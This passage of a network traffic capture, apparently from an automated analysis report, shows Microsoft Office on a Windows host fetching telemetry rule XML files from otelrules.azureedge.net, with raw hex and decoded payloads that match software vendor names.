<S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.10	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:55 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:55 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:55 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 20e60820-a01e-000d-5fd8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221355Z-16b659b4499k2xzwvf7uk78sfs0000000cm000000000srhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:55 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.10	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:55 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:55 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 279cc631-801e-00a3-30d8-1e7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221355Z-16b659b4499rzdzwehs0w9w5d80000000b6g00000000qbp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:55 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.10	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:55 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:55 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: c529dd24-301e-001f-72d8-1eaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221355Z-16b659b4499vb6rgub5604hgz00000000arg000000000ae1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:55 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.10	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:55 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:55 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 37388c9a-b01e-0053-59d8-1ecdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221355Z-r197bdfb6b4xcpkzgzk376sh7c000000028g00000000p38z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:55 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.10	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:55 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:55 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:55 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 9657db4b-301e-0099-40d8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221355Z-16b659b4499pnh69zuen6a54mc0000000b5000000000udsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:55 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.10	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:55 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:56 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 3712cd75-d01e-0028-1b63-1f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221356Z-15b8d89586f2hk2885zk3a4enc00000005qg000000006hkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:56 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.10	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:56 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:56 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e692d532-001e-00a2-3ae7-20d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221356Z-15b8d89586fst84k5f3z220tec00000005sg000000006c5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:56 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.10	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:56 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:56 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: f00277d0-001e-0079-80d8-1e12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221356Z-r197bdfb6b4h2vctng0a0nubg8000000028g00000000r98r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:56 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.10	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:56 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:56 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 68eacd2a-f01e-005d-61d9-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221356Z-r197bdfb6b46gt25cvgp1aw0w800000003xg0000000073br x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.10	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:56 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:56 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:56 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 4c87ede1-d01e-0065-6b9c-21b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221356Z-15b8d89586fvk4kme36hucfwyc00000004u0000000005mhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.10	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:57 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:57 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:57 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 51cf9948-b01e-0098-59d8-1ecead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221357Z-r197bdfb6b4h4wv5udghmrh3zg00000000qg000000001mrm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:57 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.10	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:57 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 862ca826-e01e-0071-55d8-1e08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221357Z-r197bdfb6b4lbgfqheuaxfm7xn00000008f0000000007a17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
